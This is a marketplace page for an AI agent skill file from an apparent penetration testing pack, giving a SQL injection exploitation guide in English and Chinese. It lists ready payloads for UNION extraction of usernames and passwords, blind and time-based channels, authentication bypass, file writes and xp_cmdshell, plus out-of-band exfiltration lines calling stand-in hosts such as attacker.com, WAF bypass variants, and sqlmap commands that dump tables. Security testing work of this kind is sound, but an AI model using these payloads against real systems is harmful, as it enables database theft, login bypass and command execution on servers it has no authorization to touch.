agentsclimarketplace

Sql injection testing

Skill xAmirHamza77/PenKit51/skills/sql-injection-testing

PenKit51 — Open-source AI penetration testing platform with 63 deep exploitation skills, multi-agent orchestration, PoC-validated findings, and native assistant skills for Claude, ChatGPT, and Grok. Authorized testing only.

Install
npx -y skills add xAmirHamza77/PenKit51 --skill sql-injection-testing

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

2 things to look at

  • no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
  • 2 stars2 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

SQL injection testing covering union, blind, error-based, and ORM bypass techniques

SKILL.md

11.4 KB, as published. Nobody here has run it

Sql Injection Testing

penkit51 AI — professional penetration testing skill pack. Authorized testing only.

Deep Exploitation Guide

SQL Injection

SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.

Attack Surface

Databases

  • Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
  • Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins

Integration Paths

  • ORMs, query builders, stored procedures
  • Search servers, reporting/exporters

Input Locations

  • Path/query/body/header/cookie
  • Mixed encodings (URL, JSON, XML, multipart)
  • Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
  • Query builders: whereRaw/orderByRaw, string templates in ORMs
  • JSON coercion or array containment operators
  • Batch/bulk endpoints and report generators that embed filters directly

Detection Channels

Error-Based

  • Provoke type/constraint/parser errors revealing stack/version/paths

Boolean-Based

  • Pair requests differing only in predicate truth
  • Diff status/body/length/ETag

Time-Based

  • SLEEP/pg_sleep/WAITFOR
  • Use subselect gating to avoid global latency noise

Out-of-Band (OAST)

  • DNS/HTTP callbacks via DB-specific primitives

DBMS Primitives

MySQL

  • Version/user/db: @@version, database(), user(), current_user()
  • Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
  • File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
  • OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
  • Time: SLEEP(n), BENCHMARK
  • JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak

PostgreSQL

  • Version/user/db: version(), current_user, current_database()
  • Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
  • OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
  • Time: pg_sleep(n)
  • Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
  • JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction

MSSQL

  • Version/db/user: @@version, db_name(), system_user, user_name()
  • OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
  • Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
  • Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
  • Error-based: convert/parse, divide by zero, FOR XML PATH leaks

Oracle

  • Version/db/user: banner from v$version, ora_database_name, user
  • OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
  • Time: dbms_lock.sleep(n)
  • Error-based: to_number/to_date conversions, XMLType
  • File: UTL_FILE with directory objects (privileged)

Key Vulnerabilities

UNION-Based Extraction

  • Determine column count and types via ORDER BY n and UNION SELECT null,...
  • Align types with CAST/CONVERT; coerce to text/json for rendering
  • When UNION is filtered, switch to error-based or blind channels

Blind Extraction

  • Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
  • Binary search on character space for fewer requests
  • Encode outputs (hex/base64) to normalize
  • Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)

Out-of-Band

  • Prefer OAST to minimize noise and bypass strict response paths
  • Embed data in DNS labels or HTTP query params
  • MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a
  • Oracle: UTL_HTTP.REQUEST('http://<data>.attacker')
  • MySQL: LOAD_FILE with UNC path

Write Primitives

  • Auth bypass: inject OR-based tautologies or subselects into login checks
  • Privilege changes: update role/plan/feature flags when UPDATE is injectable
  • File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection
  • Job/proc abuse: schedule tasks or create procedures/functions when permissions allow

ORM and Query Builders

  • Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
  • Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
  • JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
  • Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))

Uncommon Contexts

  • ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
  • LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
  • Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
  • XML/JSON functions: error generation via malformed documents/paths

Bypass Techniques

Whitespace/Spacing

  • /**/, /**/!00000, comments, newlines, tabs
  • 0xe3 0x80 0x80 (ideographic space)

Keyword Splitting

  • UN/**/ION, U%4eION, backticks/quotes, case folding

Numeric Tricks

  • Scientific notation, signed/unsigned, hex (0x61646d696e)

Encodings

  • Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
  • char()/CONCAT_ws to build tokens

Clause Relocation

  • Subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape

Testing Methodology

  1. Identify query shape - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
  2. Determine input influence - User input in identifiers vs values
  3. Confirm injection class - Reflective errors, boolean diffs, timing, or out-of-band callbacks
  4. Choose quietest oracle - Prefer error-based or boolean over noisy time-based
  5. Establish extraction channel - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
  6. Pivot to metadata - version, current user, database name
  7. Target high-value tables - auth bypass, role changes, filesystem access if feasible

Validation

  1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
  2. Extract verifiable metadata (version, current user, database name) using the established channel
  3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
  4. Provide reproducible requests that differ only in the injected fragment
  5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)

False Positives

  • Generic errors unrelated to SQL parsing or constraints
  • Static response sizes due to templating rather than predicate truth
  • Artificial delays from network/CPU unrelated to injected function calls
  • Parameterized queries with no string concatenation, verified by code review

Impact

  • Direct data exfiltration and privacy/regulatory exposure
  • Authentication and authorization bypass via manipulated predicates
  • Server-side file access or command execution (platform/privilege dependent)
  • Persistent supply-chain impact via modified data, jobs, or procedures

Pro Tips

  1. Pick the quietest reliable oracle first; avoid noisy long sleeps
  2. Normalize responses (length/ETag/digest) to reduce variance when diffing
  3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
  4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
  5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw
  6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
  7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
  8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
  9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
  10. Document exact query shapes; defenses must match how the query is constructed, not assumptions

Summary

Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.

Platform Methodology

SQL注入测试技能

概述

SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。

测试方法

1. 参数识别

  • 识别所有用户输入点：URL参数、POST数据、HTTP头、Cookie等
  • 重点关注：id、search、filter、sort等参数
  • 使用Burp Suite或类似工具拦截和修改请求

2. 基础检测

  • 单引号测试：' - 查看是否出现SQL错误
  • 布尔盲注：' AND '1'='1 vs ' AND '1'='2
  • 时间盲注：' AND SLEEP(5)--
  • 联合查询：' UNION SELECT NULL--

3. 数据库识别

  • MySQL：' AND @@version LIKE '%mysql%'--
  • PostgreSQL：' AND version() LIKE '%PostgreSQL%'--
  • MSSQL：' AND @@version LIKE '%Microsoft%'--
  • Oracle：' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--

4. 信息提取

  • 数据库名：' UNION SELECT database()--
  • 表名：' UNION SELECT table_name FROM information_schema.tables--
  • 列名：' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
  • 数据提取：' UNION SELECT username,password FROM users--

工具使用

sqlmap

# 基础扫描
sqlmap -u "http://target.com/page?id=1"

# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST

# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

手动测试

  • 使用Burp Suite的Repeater模块
  • 使用浏览器开发者工具
  • 编写Python脚本自动化测试

绕过技术

WAF绕过

  • 编码绕过：URL编码、Unicode编码、十六进制编码
  • 注释绕过：/**/, --, #
  • 大小写混合：SeLeCt, UnIoN
  • 空格替换：/**/, +, %09(Tab), %0A(换行)

示例

原始：' UNION SELECT NULL--
绕过1：'/**/UNION/**/SELECT/**/NULL--
绕过2：'%55nion%20select%20null--
绕过3：'/*!UNION*//*!SELECT*/null--

验证和报告

验证步骤

  1. 确认可以执行SQL语句
  2. 提取数据库信息验证
  3. 评估影响范围（数据泄露、权限提升等）
  4. 记录完整的POC（请求/响应）

报告要点

  • 漏洞位置和参数
  • 影响的数据和系统
  • 完整的利用步骤
  • 修复建议（参数化查询、输入验证等）

注意事项

  • 仅在授权测试环境中进行
  • 避免对生产数据造成破坏
  • 谨慎使用DROP、DELETE等危险操作
  • 记录所有测试步骤以便复现

Validation & Reporting

  • Confirm every finding with reproducible PoC before reporting
  • Document: severity (CVSS), affected asset, steps, evidence, remediation
  • Use record_vulnerability when running inside the penkit51 platform
  • Chain low-severity findings into higher-impact attack paths
  • Never report without evidence — distinguish hypothesis from confirmed vuln

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.